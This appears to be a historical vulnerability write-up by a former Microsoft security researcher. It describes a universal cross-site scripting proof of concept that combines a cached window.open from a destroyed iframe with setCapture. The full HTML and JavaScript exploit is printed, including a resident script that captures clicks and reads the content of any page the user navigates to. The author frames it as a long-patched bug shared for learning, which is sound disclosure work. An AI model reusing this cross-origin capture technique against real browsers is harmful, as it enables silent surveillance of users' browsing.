The day after finding the resident cached window.open technique, I started thinking about combining it with a setCapture trick from an earlier UXSS case. The result was something a bit more unsettling: a resident script that could intercept click events from any page the user navigated to — not just a page the attacker had loaded, but any page at all. The browser had no visible indication anything unusual was happening, aside from a slightly sluggish mouse cursor.
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDom_Another_Variation_Case6445_CachedWindowOpen_setCapture</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>xDom_Another_Variation_Case6445_CachedWindowOpen_setCapture</h2>
</center>
<hr />
<br />
This is another way to take advantage of the bug found yesterday [Resident_CachedWindowOpen_GetIframe] mixing it with yet another
variation of the xDom case 6445. I say "variation" because now it does a setCapture of an IFRAME that <u>does not exist</u>, and you
are able to catch any domain that the user naturally navigates. One thing is to load a different domain inside an IFRAME and grab
it's contents, but another one is to let the user think "he's alone", while you are in the background capturing all his actions
and grabbing whatever is on <u>all the pages he navigates</u>.<br />
So you can navigate with the same browser anywere you want, and it will still grab the contents of that domain.<br />
<font size="1">Note: the setCapture will make the pointer of the mouse look a little "sloppy". That is easy to fix, but it's pointless
for this POC.</font>
<br /><br />
<hr />
1) Cache the window.open method from an IFRAME in the opener of the main page.<br />
<font color="red">opener</font> = <font color="blue">ifr.open</font>;<br /><br />
2) Reload the main page, killing -in theory- that IFRAME and all it's methods.<br />
<font color="blue">location.reload()</font>;<br /><br />
3) Use the cached open method to open a new URL in that vanished IFRAME.<br />
<font color="blue">cachedWindowOpen</font> = <font color="red">opener</font>;<br />
<font color="blue">cachedWindowOpen</font>("residentfile.html","_self");<br /><br />
4) Change the URL and click anywhere on the page. Because the residentfile.html does a setCapture, it's able to grab
the objects of the main page, with no restrictions at all.<br /><br />
5) <b>Go ahead! Click the "Run Script..." button, wait until you are at Google, <font color="red">and click on the page</font>.</b>
<hr />
<center>
<input type="button" value="Run Script and Go to Google" onclick="tsrAndSetCapture()"><br /><br />
<iframe name="ifr" width="100" height="100"></iframe>
</center>
<script language="JavaScript">
if (!window.opener)
{
opener = ifr.open;
location.reload();
}
function tsrAndSetCapture()
{
cachedWindowOpen = opener;
cachedWindowOpen("residentfile.html","_self");
setTimeout("location.replace('http://www.google.com/')",1000);
}
</script>
</body>
</html>
residentfile.html (runs inside the ghost iframe, capturing all clicks):
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>xDom_Another_Variation_Case6445_CachedWindowOpen_setCapture</title></head>
<body>
<script language="JavaScript">
document.body.onclick = function ()
{
alert(event.srcElement.ownerDocument.body.innerText);
document.body.releaseCapture();
}
setInterval("document.body.setCapture()",3000);
</script>
</body>
</html>
The resident script loaded into the ghost iframe repeatedly calls document.body.setCapture(), which routes all mouse events in the browser to that element — even events occurring in a completely different domain’s page. Because the ghost context runs without same-origin restrictions (it was loaded via the cached open method from the dead iframe), event.srcElement.ownerDocument gives unrestricted access to the DOM of whatever page the user is actually viewing. The user could navigate anywhere and a click would silently expose the full page content to the attacker’s script.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.